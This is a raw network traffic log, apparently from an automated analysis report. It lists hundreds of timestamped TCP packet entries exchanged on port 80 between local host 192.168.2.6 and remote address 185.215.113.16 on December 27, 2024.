Dec 27, 2024 08:50:51.020653009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.020688057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.020688057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.020768881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.020951033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.021014929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.021025896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.021029949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.021150112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.163604975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.163629055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.163641930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.163680077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.163733959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.163820982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.163908958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164005041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164016008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164105892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.164453983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164505959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164518118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.164586067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.164597988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.165256023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.165319920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.165332079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.165429115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.165438890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166069031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166172028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166182995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166218042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166253090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.166846991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166903019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.166913986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167006969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.167011023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167593002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167660952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167671919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167723894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.167763948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.167790890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.168443918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.168454885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.168472052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.168519020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.168544054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.168574095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.169162989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.169230938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.169239044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.169249058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.169327021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.169409990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.169989109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170041084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170058966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170059919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.170110941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.170115948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170759916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170828104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170839071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170912027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.170933008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.171561956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.171611071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.171622038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.171643019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.171643019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.171684027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.172357082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.172398090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.172409058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.172462940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.172487974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173196077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173254967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173266888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173285007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.173314095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173388958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.173934937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173979044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.173991919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.174004078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.174040079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.174087048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.174709082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.174748898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.174760103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.174802065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.174802065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.174845934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.175544977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.175620079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.175631046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.175683975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.175712109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.176265001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.176335096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.176350117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.176428080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.176759958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.177047968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177129030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177140951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177187920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.177241087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177860975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177900076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177911997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.177963018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.177989960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.178030014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.178627014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.178709984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.178720951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.178798914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.178819895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.179419041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.179507971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.179517984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.179555893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.179601908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.179617882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.180269003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.180331945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.180342913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.180408001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.180411100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181030989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181054115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181065083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181122065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.181122065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.181169033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181786060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181864977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181875944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.181946039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.182043076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.182585001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.186465025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.222121954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222143888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222157001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222203970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222278118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.222278118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.222419024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222475052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222486973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.222902060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.365019083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365103006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365113974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365191936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365222931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.365339994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.365421057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365482092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365494013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365526915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.365581989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.365626097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.366205931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.366300106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.366311073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.366365910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.366405010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.366997957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367055893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.367064953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367074966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367165089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367181063 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.367245913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.367785931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367847919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367858887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367940903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.367948055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.368556976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.368613005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.368658066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.368670940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.368711948 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.368741035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.369369030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.369419098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.369429111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.369448900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.369448900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.369508028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.370172024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.370210886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.370219946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.370223045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.370290995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.370317936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.370388985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.370933056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371004105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371017933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371058941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.371115923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371728897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371784925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371794939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371812105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.371874094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.371908903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.371908903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.372524023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.372591972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.372602940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.372634888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.372685909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.373332977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.373368979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.373380899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.373380899 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.373462915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.373493910 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.374089956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374154091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374164104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374196053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.374196053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.374273062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374594927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.374874115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374968052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.374979019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375055075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375224113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.375688076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375761032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375770092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375804901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.375804901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.375861883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.375967026 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.376499891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.376532078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.376543045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.376583099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.376617908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.377331972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.377382994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.377386093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.377394915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.377407074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.377440929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.377440929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.378057957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378132105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378143072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378196001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.378258944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378855944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378894091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378906012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.378927946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.378927946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.378999949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.379621983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.379672050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.379683971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.379697084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.379710913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.379767895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.380423069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.380450964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.380461931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.380500078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.380500078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.380551100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.381228924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.381262064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.381273031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.381289959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.381289959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.381357908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.381984949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382061005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382071972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382106066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.382106066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.382149935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382231951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.382800102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382860899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382872105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382922888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.382986069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.383644104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.383655071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.383665085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.383677006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.383707047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.383865118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.423949003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424011946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424024105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424128056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.424173117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424384117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424438953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.424488068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424499035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.424576998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.566483974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566531897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566544056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566644907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566651106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.566734076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.566869974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566931963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566945076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.566986084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.567378044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.567447901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.567460060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.567485094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.567495108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.567543983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568121910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568177938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.568207026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568219900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568295956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.568368912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568936110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.568993092 CET	80	49752	185.215.113.16	192.168.2.6
